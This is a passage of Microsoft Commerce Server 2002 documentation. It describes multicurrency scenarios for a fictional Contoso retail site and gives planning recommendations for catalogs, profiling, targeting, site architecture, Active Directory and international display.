
Conversely, the rate for Contoso suppliers in some of the scenarios is set before transactions ever take place. Contoso agrees to a conversion rate for a set period of time with each of their suppliers. When Contoso takes an order for a product supplied by a company with an alternate currency, the conversion rate that is applied to the transaction is determined by the rate agreement. This is an example of a "fixed rate" conversion.

Assumptions for All Scenarios

Supporting Multicurrency Transactions

Tracking Multicurrency Transactions

Multicurrency Transaction Issues

Assumptions for All Scenarios

The following assumptions apply to all the international transaction scenarios:

  • All catalogs on the site use a single default currency (the currency that the site uses to transact with their bank).
  • The user does not need to use multiple currencies on a single order. In other words, the user does not need to purchase item "A" in U.S. dollars and item "B" in Yen within the order.

Note

  • It is recommended that the Web site use a third party accounting system to handle conversions. The Order Sitelet included in the Commerce Server SDK uses a simple example method that is not recommended for production code.

Scenario 1:

  • A single user makes a purchase through www.contosoretail.com using market rate currency conversion. The transaction takes place in U.S. dollars; however, the user sees an approximate price displayed in Yen as well.

This is the simplest and most common international retail or business-to-consumer transaction, where a buyer and an e-commerce site may not use the same default currency, but they want to do business together. A user visits the English language www.contosoretail.com Web site, whose default currency is U.S. dollars. The user selects Yen as the preferred currency. As the user browses through the site, all the prices will now be shown in Yen.

All Yen prices are marked "approximate" on the site because the user may be charged a slightly different amount based on the conversion rate charged by the user's bank. This rate can be approximated but will never be known exactly until the transaction is completed. When the user submits the order, the user is given an approximate total in the preferred currency and the exact value in the default currency of the site.

When www.contosoretail.com receives payment from the user's bank, they receive U.S. dollars. When the user’s bank charges the user, these dollars are converted to Yen. The exact cost in Yen is not known until that moment.

Scenario 2:

  • A single user makes a purchase through a single site (www.contosoretail.com) using market rate currency conversion.
  • www.contosoretail.com re-sells the goods of another company or companies using a negotiated conversion.

The user's transaction with www.contosoretail.com is the same as in the first scenario; however, there is an additional transaction (or transactions) because www.contosoretail.com is now a re-seller, and must purchase goods on demand from a supplier.

The supplier of goods to www.contosoretail.com uses Swiss Francs as their default currency, and www.contosoretail.com and the supplier have agreed upon a set conversion rate. The benefit to having a set conversion rate is that www.contosoretail.com knows exactly what it will be charged for every transaction with the supplier. The bank does not own the conversion between the supplier and www.contosoretail.com, as it does between www.contosoretail.com and the user.

In this scenario, there can be more than one supplier, and each supplier may use a default currency that is different than either the re-seller or the buyer’s default currency.

Scenario 3:

  • A single user makes a purchase through www.contosoretail.com using a market rate currency conversion.
  • www.contosoretail.com re-sells the goods of another company or companies using a market rate currency conversion.

The user's transaction with www.contosoretail.com is the same as in the first and second scenario.

This scenario differs from the second scenario in that the supplier's transaction with www.contosoretail.com is determined by the market rate at the time of the conversion. Note that this can occur at a number of points during the life of the transaction, for example, when the supplier invoices www.contosoretail.com or when www.contosoretail.com remits payment to the supplier.

The user, www.contosoretail.com, and the supplier all may use different currencies. The banks are responsible for the conversion rate. This means that www.contosoretail.com does not know what it will be charged for the transaction until after the transaction has occurred.

It is important to note that in all three of these scenarios the user does not know precisely what conversion rate will be applied to the purchase until the purchase is complete and the bank has billed the customer. Because of this, all prices displayed on the e-commerce site should be marked as "approximate."

Supporting Multicurrency Transactions

The conversion rates that are applied to a multicurrency transaction, and managing the costs associated with these transactions, are key to businesses success. Commerce Server 2002 does not address the entire lifecycle of a multicurrency transaction from a business perspective, as this would require a fulfillment and/or accounting system. Instead, intrinsic support for third party fulfillment and accounting systems is provided.

The Business Processing Pipeline System in Commerce Server 2002 addresses this through the following elements:

  • The ability to specify and track the currency the user of the e-commerce site wants to use.
  • The ability to track the conversion rate applied to an order.

To support this functionality, Commerce Server 2002 assumes the following:

  • Catalog prices must be stored in the default currency of the e-commerce site.
  • The Order Processing pipeline always runs in the default currency of the e-commerce site.
  • Currency conversions happen external to Commerce Server 2002, and they will always be in the form Settlement = Default Currency * Conversion. Where Settlement is the amount paid or owed by the purchaser of goods.
  • The Data Warehouse, and by extension Analysis, will always store data and report data in the default currency of the site, because all data is grouped by site.

Tracking Multicurrency Transactions

The following table shows the data the Business Processing Pipeline System tracks. The Business Processing Pipeline System tracks the data for each transaction that goes through the pipeline. This data will be stored on the order form and ultimately in the orders database.

Field name | Placement | Description
billing_currency | Order Form Header | The default currency of the site.
supplier_currency | Line-item | The default currency of the supplier supplying the goods to www.contosoretail.com.
buyer_currency | Order Form Header | The preferred currency of the user.

The following table shows the data that is not tracked natively by the Business Processing Pipeline System, but should be tracked by a third party fulfillment and/or accounting system.

Field name | Description
Conversion rate | The multiplier used for converting the default currency for the site to the currency accepted by a member of the supply chain.
Conversion type | Whether the conversion was a static (contract) rate, or dynamic (bank specified) rate.
Conversion time | The time at which the conversion rate was locked in by the bank. In the case of a static conversion, this should always be the time at which the order was accepted for fulfillment.
Contract ID | The ID of the contract specifying the conversion rate, which is only used in the case of a static conversion.

Multicurrency Transaction Issues

The following are issues related to multicurrency transactions:

  • As mentioned above, it is possible that the converted line items displayed on the site do not match the total cost billed to the user.
  • The International Retail Site (Retail2002) assumes that the prices for each item in the cart are in the same currency; currency type is not checked. If one item in the cart is $1.00 (U.S. dollars) and another is 2 Yen, the site does not tell the user the subtotal is $1 U.S. and 2 YEN, nor does it convert the 2 Yen into U.S. dollars and present a subtotal in U.S. dollars. Site developers must create their own implementation to properly display receipt information of this sort.
  • Discounts currently are not capable of handling multiple currencies.
  • Currently, there are no credit card companies or banks that will split one transaction into different currencies, so all bookkeeping/conversions will have to be done internally on the site.
  • If you want to use ads and discounts in multiple languages, you must recreate each ad/discount in the appropriate language.

See Also

ASP Order Sitelet

ASP.NET Order Sitelet

International Scenario Summary

International Catalogs

International Campaigns

International Shipping


International Catalogs

Commerce Server 2002 provides enhanced support for delivering catalog information that is appropriate to a particular locale. You can create a catalog that contains multilingual and multiple currency properties. Your application can then deliver catalog content in the appropriate language, with the currency symbol that is appropriate for a specific locale.

The following fictional business scenario provides some context for understanding how you can apply multilingual and multicurrency features to deliver appropriate catalog content. The scenario is an extension of the scenario described in Business Scenario for Enabling International Transactions.

Business Scenario for International Catalogs

In this fictional scenario, the Contoso retail site displays catalog content that is appropriate for the language and currency preferences of their users. The Contoso site developers implemented this feature by creating a catalog that contains data for each of the five locales the site targets. The catalog was originally developed in English with U.S. dollars as the base currency, and then translated into the four other languages (Spanish, French, German, and Japanese) and currencies by content managers for Contoso’s subsidiaries in each of the four countries.

Prices in the virtual catalogs are determined by a pricing rule. This pricing rule sets the price in the virtual catalog by either increasing or decreasing the price based on the exchange rate. The following table illustrates the pricing rule.

Base Catalog Price | Exchange Rate | Pricing Rule | Virtual Catalog Price
1 | .5 | Base Price * 200% |

Contoso automatically updates their exchange rate information regularly through a third-party service. They make these updates in order to more accurately reflect the true cost to their users. The exact cost to the user, however, is determined by the exchange rate applied when the credit card provider for the user completes the transaction.

In order to display appropriate content, the site developers modified the catalog browsing code to show items from the catalog that match the preferred language and currency of the user. If there is no preferred language and currency (for example, when the user is shopping anonymously) the English language catalog is displayed and prices are shown in U.S. dollars.

Note

  • You could create a virtual catalog for the French market which only used the French language, and only used products appropriate to the French market, and contained pricing in euros.

See Also

Code to Set the Language Properties for a User Profile

International Scenario Summary

International Transactions

International Campaigns

International Shipping

Translating a Catalog by Exporting/Importing

Translating a Catalog with Business Desk


International Campaigns

Commerce Server 2002 provides enhanced support for delivering campaign information that is appropriate to a particular locale. This enhanced support is in the areas of:

  • Discounts
  • Advertising content

The following fictional business scenario provides some context for understanding how these two areas of the Commerce Server Targeting System can be applied to display culturally appropriate campaign information. The scenario is an extension of the scenario described in Business Scenarios for Enabling International Transactions.

Business Scenario for Enabling International Campaigns

In this fictional scenario, the Contoso retail site displays locale-specific discounts and advertising content. The Contoso content development team creates content that is appropriate for five locales (English, Spanish, French, German, and Japanese). This content is named using a convention that identifies the target cultural group. For example, an advertisement for golf shoes that should displayed for a French user might be named golf_FR.

Contoso uses page groups to determine which advertisements to display on a given page, and target groups to determine which locale-specific discount messages and advertisements to display to a specific group of users. Contoso developed a target expression based on the preferred language and currency profile properties as the basis for these target groups. The developers created separate campaigns to support each required language.

See Also

Code to Set the Language Properties for a User Profile

International Scenario Summary

International Transactions

International Catalogs

International Shipping


International Shipping

Commerce Server 2002 provides enhanced support for delivering shipping information that is appropriate to a particular locale. The following fictional business scenario provides some context for understanding how this support can be implemented. The scenario is an extension of the scenario described in Business Scenarios for Enabling International Transactions.

Business Scenario for Enabling International Shipping

In this fictional scenario, the Contoso retail site displays locale-specific shipping information. The Contoso shipping managers created shipping methods that are appropriate for five locales (English, Spanish, French, German, and Japanese). For example, the content is named using a convention that identifies the locale with which it would be associated. A shipping method for air freight that is displayed for a French user on your site might be named Air_FR.

Contoso uses the language_id field in the ShippingConfig database table to track the shipping methods that are displayed on the shipping page.

See Also

Code to Display Shipping Methods for a Particular Language

International Scenario Summary

International Transactions

International Catalogs

International Campaigns


Planning Your Commerce Server Installation

You must make some planning decisions before developing and deploying your Microsoft Commerce Server 2002 installation. To successfully develop and deploy Commerce Server, it is important that you carefully consider the following planning issues and research the implications by consulting other areas of Commerce Server 2002 Help.

Planning your Commerce Server implementation is the first and perhaps most crucial phase in the Planning-Developing-Deploying-Managing cycle. This is because planning your site carefully, including taking future growth into account, can prevent the need to make expensive and time-consuming modifications later.

Five tightly integrated sub-systems comprise Commerce Server. In addition to planning for these sub-systems, you will need to plan for the administration, management, architecture, and security of your implementation.

This section contains:

  • Planning for Administration and Management Tools. Provides recommendations for questions about managing and administering your site.
  • Planning for the Business Analytics System. Provides recommendations for questions about accessing and updating your data.
  • Planning for Business Process Pipelines. Provides recommendations for questions about pipeline functionality.
  • Planning for the Product Catalog System. Provides recommendations for questions about your Product Catalog System.
  • Planning for the Profiling System. Provides recommendations for questions about your Profiling System.
  • Planning for the Targeting System. Provides recommendations for questions about your Targeting System.
  • Planning Your Site Architecture. Provides recommendations for questions about your site architecture.


Planning for Administration and Management Tools

Commerce Server 2002 includes three tools for managing and administering your installation: Commerce Server Business Desk, Partner Service, and Commerce Server Manager.

You use Business Desk to configure many site options and to manage the day-to-day marketing and analysis of site activity. You must make some decisions about your site in order to optimize your use of Business Desk.

The following table lists some of the questions that you need to answer in planning for the administration and management tools.

Planning question | Recommendation
Will your site be aimed primarily at consumers or at trading partners? | If your site is aimed at consumers, you should start development with the Retail Solution Site because it includes the Customer Service, which provides users access to their profile information. If your site is aimed at trading partners you should start development with the Supplier Solution Site because it includes the Partner Service, which provides trading partners with access to their accounts. For information about the Solution Sites, see Commerce Server Solution Sites.
If you are planning to interact with trading partners, do you need to exchange business documents with them? | You should plan to integrate Microsoft BizTalk Server 2000 with your implementation if you will exchange business documents with trading partners.
What payment options will your site support? | You must make arrangements with a banking institution if you plan to support credit card processing.
Which currencies will your site support? | If your site will display information in multiple currencies, you need to extend the Product Catalog System.
Do business managers need to access large sets of data? | Some aspects of site management do not lend themselves to accessing large data sets through Business Desk. For example, if your product catalog includes over 100,000 items, you may need to publish updates with a script, rather than through the Catalogs modules provided in Business Desk. You should plan for the capacity requirements of your Business Desk.

See Also

Localizing Currencies

Integrating with BizTalk Server

Planning for Capacity and Performance

Configuring the App Default Config Resource


Planning for the Business Analytics System

You use the Commerce Server 2002 Data Warehouse to collect day-to-day operational data about users who visit your site, including user profile data, transaction data, and click-history data. You use the Analysis modules to analyze the data. For example, you can identify user trends or analyze the effectiveness of a campaign, and then update your site to target specific user groups, sell specific products, and so forth.

The following table lists some of the questions that you need to answer in planning for the Business Analytics System.

Planning question | Recommendation
How will data analysis affect the key business decisions you need to make about your site? What reports do you need in order to make those decisions? | To examine the reports available from the Business Analytics System, see Commerce Server 2002 Reports. If the reports do not meet your requirements, see Creating Custom Reports to learn more about modifying existing reports or creating new reports. There are also a number of third-party software vendors who provide reporting solutions that interact with the Business Analytics System.
Who in your organization needs access to the data? How often do they need to run the reports, and how much detail do they require from updates? | You should establish a schedule for running reports. You may need to run static reports on a regular basis with your Data Transformation Services (DTS) tasks, based on anticipated business requirements.
How often will you process your Web server logs? The size and nature of the data stored in your logs will determine your answer. The more frequently you process the logs, the smaller they will be.

Larger log files provide a richer data set, but they also take longer to process.

There is an associated overhead with each post-processing task. In larger sites, it is recommended that you perform fewer log import and post-import processes each day due to the post-import processing that occurs. The log import process takes longer as the size of your Data Warehouse increases.

You should determine the appropriate processing frequency in your test environment, and then apply it to your production environment.

See Also

Commerce Server 2002 Reports

Customizing Reports

Data Warehouse Concepts

Extending the Data Warehouse


Planning for Business Process Pipelines

You use pipelines to define and link together one or more stages of a business process, and then run them in sequence to complete a specific task. Each stage of a pipeline contains one or more pipeline components, which are (Component Object Model (COM)) objects that can be configured to work with the unique requirements of a site.

Site developers use this infrastructure to implement two pipeline models: the Order Processing pipeline (OPP) and the Content Selection pipeline (CSP).

The following table lists some of the questions that you need to answer in planning for Business Process Pipelines.

Planning question | Recommendation
Do the pipeline components included with Commerce Server meet your requirements? If not, do you want to build your own components or purchase them from a third-party pipeline component developer? | Examine the functionality provided by the pipelines included with Commerce Server 2002. Determine whether the processing stages meet your needs. If they do not, either extend the pipelines yourself or purchase pipeline components from a third-party pipeline component developer. For example, you can add third-party pipeline components to perform complex tax or shipping calculations and credit card processing.

See Also

Working with Pipelines

Building Pipeline Components

Extending the Content Selection Framework


Planning for the Product Catalog System

You use the Product Catalog System to create catalogs of products and to add and update product data. This system provides both import and export functionality, and allows you to define and modify the schema for catalogs.

The following table lists some of the questions that you need to answer in planning for the Product Catalog System.

Planning question | Recommendation
Do you plan to synchronize information in the Product Catalog System with an offline catalog? | If you synchronize information in the Product Catalog System with your offline catalog, you must develop custom software. If you require this functionality, consult with your system administrator.
What is the best organizational schema for your catalog? | The Product Catalog System is flexible enough to accommodate a variety of schemas. If you are designing a new catalog, make sure to include plenty of opportunities for expanding the schema.
Which languages will your site support? | If you are going to use more than one language on your site, you will need to decide which will be the reporting language, that is, the language in which data is exported to the Data Warehouse and used in analysis reports.
Which currencies will your site support? If your site will display information in multiple currencies, you need to decide how you will manage multicurrency pricing. You can choose to convert currencies using in one of three possible ways:
  • Fixed rate conversion. You create a virtual catalog for each new currency used, including the relevant base catalog in each virtual catalog, and you create a catalog level price rule to convert prices to the new currency.
  • Dynamic rate conversion. Using this approach you dynamically compute the currency value at run time before it is shown to the user. The International sample site in the Software Development Kit demonstrates this approach.
  • Explicit alternate currency pricing. You use this approach to explicitly define prices in each currency. For example, a single product may be priced at $29.99 in U.S. dollars, $39.99 in Canadian dollars and 24.99 in euros. To do this, you must add additional properties of type "currency" to your catalog; for example, a CDN_Price property, and a EURO_Price property. You can then add prices to these properties using the Catalog Editor module in Business Desk. At run time you use a pipeline component to select the appropriate price property from the product for the currency that the shopper is using.
Will you provide custom pricing or product selection to different user groups? Create virtual catalogs to provide special pricing, or to display subsets of products, for specified groups of users.

Create catalog sets to identify one or more catalogs that you want to make available to different users or organizations.
What catalog data do you want to analyze in reports? | You should export the information required to the Data Warehouse so you can run reports and perform other analysis on the data. You specify which product data to export to the Data Warehouse when you create your property definitions.
Will you exchange catalogs with your trading partners? | If you will, then include Microsoft BizTalk Server 2000 or later in your deployment plan. It provides functionality to exchange catalogs automatically with trading partners.

See Also

About Catalogs

Business Desk Catalogs

Integrating with BizTalk Server

Integrating a Third-Party Product Catalog


Planning for the Profiling System

In Commerce Server 2002, you use profiles to collect and store information about the users who visit your Web site. The data that forms a profile comes from multiple data sources, such as Web log files and Commerce Server databases. You import the profile data into the Data Warehouse for analysis, and then you can use the results to target content to groups of users.

The following table lists some of the questions that you need to answer in planning for the Profiling System.

Planning question | Recommendation
What are the business decisions you will make with the information you collect in the Profiling System? | Begin planning for the Profiling System by answering this question. Your answer will determine the rest of your planning decisions for this system.
What kinds of business entities (for example, customers, companies, products, purchase orders, and accounts) do you currently store information for? Of these, which entities will you need to store information about in the Profiling System? | The Profiling System is flexible enough to capture and store information about a wide variety of business entities. The system can aggregate this information from disparate data sources. You set up the system by defining the entities and data sources. You should coordinate this planning effort with your database administrator to make sure that the data entities defined are consistent with entities that exist in your database management system.
What profile information will you export to the Data Warehouse? | You need to export the information you use to create the reports that you identified in response to the question listed in Planning for the Business Analytics System.
What information will you collect about users? | You can either collect information from users directly or you can use the Predictor resource to fill in the information you need (implicit targeting).
Which data store will you use for storing profiles? | If you need to authenticate users with their Microsoft Windows 2000 security context, you will need to store some profile information in Microsoft Active Directory. If you do not have this requirement, use Microsoft SQL Server 2000 to store profile data.
Are there existing user accounts that you need to transfer into the Profiling system? Will you need to transfer all of the attributes from the current system? | If you are transferring user accounts from Microsoft Site Server 3.0 Membership Directory, use the Directory Migration Toolbox to transfer this information. Do not plan on maintaining the Membership Directory after you have migrated.

See Also

About the Profiles Resource

Running the Profiles Resource

Running the Predictor Resource

Migrating the Membership Directory


Planning for the Targeting System

You use the Targeting System to deliver content to one or more users. The Targeting System includes four distinct sub-systems, which you should consider in planning for the Targeting System.

This section contains:

  • Planning for the Content Selection Framework
  • Planning for Direct Mailer
  • Planning for the Expression Evaluator
  • Planning for the Predictor Resource


Planning for the Content Selection Framework

Content Selection Framework (CSF) is a framework based on the Commerce Server 2002 pipeline architecture. You use CSF mainly for campaign management (the delivery of advertisements and promotions), but it is flexible enough to rank, select, and schedule any type of content.

The following table lists some of the questions that you need to answer in planning for your online campaigns.

Planning question | Recommendation
Will you target campaigns to particular user groups? If so, which user attributes will you target? | Use the Business Analytics System to determine common buying patterns on your site and then incorporate this information into your Targeting System. Planning for this area will be an ongoing process.
Will you sell advertising to other organizations? If so, what is the price schedule for the advertising? | Establish a price schedule if you do not already have one. You will need this information when setting up your campaigns in Commerce Server Business Desk.
Who will make decisions about discounting inventory? What policies will you have for these decisions? | Coordinate your discounts with your advertising campaigns to maximize their effectiveness.
What information do you require from the Business Analytics System to make pricing decisions? | Determine your information requirements for the CSF and use this determination to evaluate and modify, if necessary, the reports provided by the Business Analytics System.
Will your campaigns use the Predictor resource? If so, what are the key user segments you need to target? | Collect information about usage patterns in the Commerce Server Data Warehouse, use the Predictor resource to identify user segments, and then incorporate this information back into your campaigns.

See Also

Extending the Content Selection Framework

Running the Predictor Resource


Planning for Direct Mailer

You use Commerce Server Direct Mailer to manage user mailing lists and to coordinate the sending of direct e-mail to list members. You can personalize the e-mail you create by using Active Server Pages (ASP), or it can be a static file. You use the List Manager Module to import e-mail addresses from a flat file or from a Microsoft SQL Server database into a mailing database.

The following table lists some of the questions that you need to answer in planning for your direct mail campaigns.

Planning question | Recommendation
Who will receive the direct mailings you create? What rules will you use to define the direct mail list? | Use the Business Analytics System to identify the user segments you want to target, and then create corresponding lists.
How will users tell you they want to be removed from the direct mail list? | Always include an opt-out list in your direct mailings.
How often will you send direct mail? | Establish a schedule and develop a script to automate the process.
Will the direct mail be personalized? If so, what user profile information will you include in the personalization? | Personalized mail is more effective. Design your user profiles to include the attributes you want to use for your direct mail targets.

See Also

About Direct Mailer

Direct Mailer Pipeline

Running Direct Mailer

Developing Direct Mail Content


Planning for the Expression Evaluator

You use the Expression Evaluator to create business rules for delivering personalized ads, discounts, and content. These rules are conditional expressions.

The following table lists some of the questions that you need to answer in planning for the Expression Evaluator.

Planning question | Recommendation
What experience do you want to create for your users? What business rules do you need to create in order to implement that experience? | You must create expressions for the Expression Evaluator to evaluate in order to create the specific user experience you want. Base your expressions on the personalization requirements you have developed for the Targeting System. For example, if you have decided to display content based on a referring Uniform Resource Locator (URL), you might create the expression Referrer equals URL.
What site terms are needed to create the required business rules? | Create site terms to support the expressions you have identified. In the previous example, you would need to develop a site term named "Referrer."

See Also

Expression Builder

Expression-based Targeting

Targeting Ads

Creating a Site Term


Planning for the Predictor Resource

You use the Predictor resource primarily to augment analysis of some form of data, such as transaction data or Web log data. The Predictor resource is also used to recommend products to users online and to fill in missing user profile properties.

Before you use the Predictor resource, you must verify that the Analysis reports are providing the information you require. You should collect data on at least a few thousand distinct users before you build models with the Predictor resource.

The following table lists some of the questions that you need to answer in planning for the Predictor resource.

Planning question | Recommendation
Do you plan to offer users product recommendations and enhanced targeting? | Implement the Predictor resource on your site by building models of user behavior after you have collected enough initial data in the Commerce Server Data Warehouse.
What are the key user segments that you must identify in order to make meaningful recommendations? | Use the Predictor resource to identify meaningful segments, and then view them with the Segment Viewer.
Will you use inference to augment user profile data, or will you make recommendations based only on data explicitly provided by users? | You can use the Predictor resource to infer data about users for whom you do not have complete information (for example, anonymous users). If you plan to infer user properties, use the Segment Viewer in Business Desk together with the Dependency Network view in Commerce Server Manager to focus on the key user attributes you will use to make predictions. You can then use these attributes to target content to users who have similar characteristics.

See Also

About the Predictor Resource

Running the Predictor Resource

Predictor Schema

Business Analysis Objects


Planning Your Site Architecture

Planning the overall architecture of your e-commerce presence includes planning for growth, setting performance expectations, and establishing security requirements. This section describes some of the planning considerations in each of these areas.

This section contains:

  • Planning for Capacity and Performance
  • Planning for Growth
  • Planning for Integration with Existing Systems
  • Planning for Active Directory Integration


Planning for Capacity and Performance

It is difficult to predict how variables in site design, coding practices, user behavior, and site architecture will combine to affect site performance. Therefore, it is important to plan and test the capacity and performance of your site before "going live" in a production environment.

If you are migrating an existing site, you can analyze your existing data as a basis for planning the new site. If you are creating a site for the first time, use the sizing guidelines provided in the Microsoft Commerce Server 2000 Resource Kit to set up a test site, which you can then load, test, and optimize before going live.

Performance planning and capacity planning go hand in hand; however, each addresses a different perspective. Performance planning addresses the technical aspects of the site, focusing on performance metrics, such as Active Server Pages (ASP) page throughput and ASP latency. Capacity planning addresses the business perspective, focusing on maximizing the number of users that the site can handle.

Of the two, performance planning is the more straightforward. It is relatively easy to measure the number of checkout transactions per second and make comparisons to other commerce sites.

Analyzing user capacity is a little more complex. Before you can predict the maximum user capacity, you first need to profile user behavior, and then use the user profile information in conjunction with your performance metrics to calculate capacity. User behavior varies from site to site, depending on the richness of the shopping experience (page design, site design, and response time), as well as the types of products being sold and the extent of the product line. One site may support 1,000 users, while another site installed on an identical platform may support only 200 users because of differences in user behavior.

For more information about performance analysis and capacity planning, see the white paper Sizing Guidelines for Windows 2000 Domain Controller and Global Catalog Server, available at http://go.microsoft.com/fwlink/?LinkId=6278.

The following table lists some of the questions that you need to answer in planning for performance.

Planning question | Recommendation
What are the key items to measure to determine site performance? | Select the factors that closely match your goals for user experience. For example, if it is your goal to enable users to browse the catalog quickly, measure the speed at which a catalog browse request is returned.
What are the key usage profiles for measuring site performance? | Determine how you expect users to connect to your site and the expected load. Use this usage profile in your test environment, and then confirm that the profiles are correct when you have collected usage information in the Commerce Server Data Warehouse.
What tools and resources will you need to measure the performance of your site? | Review the performance tools provided in the Commerce Server 2000 Resource Kit to determine whether they meet your requirements.
How many servers do you require for your site? How should they be configured? | Start by reviewing the usage scenario configuration information provided in the Commerce Server 2000 Resource Kit. Compare these scenarios to your site requirements and modify the configurations to meet your needs.
What are your expectations about the rate at which your site usage will grow? | Include excess capacity in the early stages of your site deployment. Compare actual growth to projections at regular intervals.
How will you balance the load across the servers in your site installation? | See the Microsoft Windows 2000 Resource Kit and the Commerce Server 2000 Resource Kit for information about using Network Load Balancing (NLB).

See Also

Optimizing Commerce Server

Monitoring Commerce Server Sites


Planning for Growth

Your initial site design should take future expansion into account. A well-planned site can cost-effectively expand, or scale, to accommodate increased site traffic while maintaining performance.

To plan for the future growth of your site, you should divide your site architecture into two broad layers: front-end Web servers, and back-end systems where data is stored and your business-processing systems are located. Each of these layers may be subdivided into multiple tiers to match the projected growth pattern for your site. Because Commerce Server 2002 is flexible, you can choose an architecture that best suits your needs.

You typically scale the back end first by scaling vertically — that is, by upgrading the server and adding mass storage. Then, you can also subdivide the data layer by function among two or more servers. For example, the Commerce Server Data Warehouse could be placed on one server, and the database for storing profile information on another. With Commerce Server, you can divide functions onto different servers during setup, or do it later using Commerce Server Manager. For very large sites, individual databases can be partitioned onto multiple servers.

The following table lists some of the questions that you need to answer in planning for growth.

Planning question | Recommendation
What site architecture best meets your requirements for increasing your capacity over time? | Review the usage scenario configuration information provided in the Commerce Server 2000 Resource Kit. Select a configuration that best meets your needs.
How will you increase your site capacity as usage requirements increase? | Plan a scaling path for each type of server, each network connection, and each Commerce Server function. This path should include your plan for scaling the site when specified thresholds (such as number of concurrent users, memory usage, or disk usage) are reached.

See Also

Deploying Your Site


Planning for Integration with Existing Systems

During the planning process, you need to assess your existing systems and data to determine the most effective methods to either integrate them with Commerce Server 2002 components or convert them to formats that can be imported into Commerce Server databases. In addition, you will need to plan the integration of your e-commerce business subsystems.

The following table lists some of the questions that you need to answer in planning for integration.

Planning question | Recommendation
Will you integrate existing databases and database servers that contain such data as catalogs and user profiles or customers? | If you will maintain separate data sources for your offline and online businesses, you must establish a system for synchronizing the data. Consider integrating Microsoft Host Integration Server 2000 and Microsoft Application Center 2000 into your overall system design.
Will you integrate your existing order processing, payment transaction, inventory management, and order fulfillment systems with Commerce Server? | If you plan to integrate these systems, develop Component Object Model (COM) components to connect them to Commerce Server. Consider incorporating Microsoft BizTalk Server 2000 in your overall system design.
Do you need to integrate Enterprise Resource Planning (ERP) systems with suppliers and trading partners? | If you plan to integrate ERP systems, you should incorporate BizTalk Server into your overall system design.
What are your requirements for converting data? | Establish a system for transforming data from its existing format to a format you can use in Commerce Server. For example, you will need to convert existing catalog data in a tab-delimited format to Extensible Markup Language (XML) before importing it into the Product Catalog System.
What are your requirements for custom development? | Although Commerce Server is a full-featured product, it has been designed so that you can customize many features to suit your business requirements. Examine the features list in Commerce Server Features at a Glance carefully and read Commerce Server 2002 Help before you plan for custom development.
Will you complete the custom development in-house or work with a software vendor? | Review the information about Microsoft partners at http://go.microsoft.com/fwlink/?LinkId=6772.

See Also

Integrating with BizTalk Server

Integrating a Third-Party Product Catalog

Adding a Non-Commerce Application to a Site

Adding a Non-Commerce Web Server to an Application


Planning for Active Directory Integration

Active Directory is the directory service built into Microsoft Windows 2000. You can use Active Directory to add, modify, delete, and organize the business entities of your organization. For example, the Windows 2000 user accounts, computer accounts, security and distribution groups, and published resources are all accessible through Active Directory.

You can use Active Directory as a data source for profile data. The Profiling System aggregates data from Active Directory and other data sources into a single business entity that you can then use in your Commerce Server implementation. For example, you could store the account number and password of a user in Active Directory and store the rest of the account information (contact information, credit limit, preferences, and so forth) in Microsoft SQL Server. The Profiling System would then assemble data from these two data sources into a single profile that you can use for targeting and analysis.

Active Directory is a highly robust and scalable technology; however, it is important that you design your site architecture to use it appropriately.

If you plan to divide users into groups within Active Directory, extra care should be taken to assure that the performance of the Active Directory server is adequate. Adding users to groups is a relatively expensive operation in Active Directory, and there is a limit of 5,000 users per group.

To work around this limit, the Microsoft Commerce Server Software Development Kit (SDK) includes an object called the Subgroup Manager that enables you to store more than 5,000 users in a "virtual" group, hiding the actual groups in which the users are stored. For more information, see Subgroup Manager. Since the use of this object will introduce even more overhead into an already expensive operation, it should be considered when determining the appropriate hardware for this component of your Web site.

The following table lists some of the questions that you need to answer to determine how you will best use Active Directory in your site design.

Planning question | Recommendation
What data will you store in Active Directory? | You should store only data that is unlikely to change in Active Directory.
What volume of data will you store in Active Directory? | You must perform your own Active Directory capacity planning exercise, as your requirements will differ from the tested scenarios. The current tested capacity shows that you can include more than 2.5 million user accounts in a single Active Directory domain with Commerce Server 2002.

Note

  • Testing was based on the following environment and assumptions:
    • Commerce–specific scenario involving high–write and high–user profile creation activities.
    • Rates of user profile use that are significantly higher than in an enterprise directory implementation.
    • Deployment configuration: twenty Web servers, eight domain controllers, and three database servers.
    • One percent of the users use the site on average; three percent of the users use the site during peak periods.

If you intend to use Active Directory for large scale implementations, engage Microsoft Consulting Services (MCS) to assist you with planning.

See Also

Small Site Configuration with Active Directory

Setting Up the Domains

Migrating the Membership Directory

Creating a Profile Definition with Two Data Sources


Planning an International Solution

Commerce Server provides many tools for developing an international solution, however, it is important that you understand the key design decisions that you must make before implementing your solution. In order to make these decisions, you must analyze your solution requirements in the following two broad areas:

  • Character Display Requirements
  • Currency Display Requirements


Character Display Requirements

Commerce Server 2002 works with the character display capabilities provided by Windows 2000 and SQL Server 2000. Your Commerce Server 2002 solution can take full advantage of the multiple character display capabilities provided by these underlying products. There are, however, several key planning questions you must answer in order to work with these capabilities. The following table lists those questions.

Planning question | Recommendation
Do you need to display characters that require different code pages within a single Web site? Although it is possible to display characters requiring different code pages on your site, there are several limitations. In general you should plan to maintain a single code page for the following items:
  • Query strings
  • Commerce Server events
  • File names

A single code page is needed for file names because file names can appear in the URL field. IIS Web log files only support single codepages; these log files are imported into the Data Warehouse.
Do you need to display characters that require different code pages for your product catalog items? | Create a single base catalog that contains the descriptions. Set the language properties for the appropriate languages. Add code to your site to display the product catalog descriptions using an appropriate code page as is demonstrated in the ASP-Based Catalog Sitelet and the ASP .NET-Based Catalog Sitelet.
Do you need to display characters that require different code pages for your campaign content? | In general, you will need to create multiple versions of your campaign content for each language. Marketing campaigns can be linguistically and culturally specific, and may need more than a simple translation. If each campaign item requires a different code page, add code to your site to display the product catalog descriptions using an appropriate code page. For more information, see the ASP-Based Advertising Sitelet and the ASP .NET-Based Advertising Sitelet.


Currency Display Requirements

Commerce Server works with the currency display capabilities provided by Windows 2000 and SQL Server 2000. In general, the locale identifier (LCID) determines currency display format (currency symbol and decimal place delimiter). Currency symbol position, digit grouping delimiter and decimal delimiter (when applicable) are specific to the locale. The currency symbol and the existence of decimals are specific to the currency, for example, the symbol for Japanese Yen is ¥ regardless of locale and values (Yen have no decimal parts).

Commerce Server 2002 provides an easy method for setting the LCID on a per-site basis (by setting a property in the App Default Config resource), and for integrating your application currency formatting code. There are, however, several key planning questions you must answer in order to work with these capabilities. The following table lists these planning questions.

Planning question | Recommendation
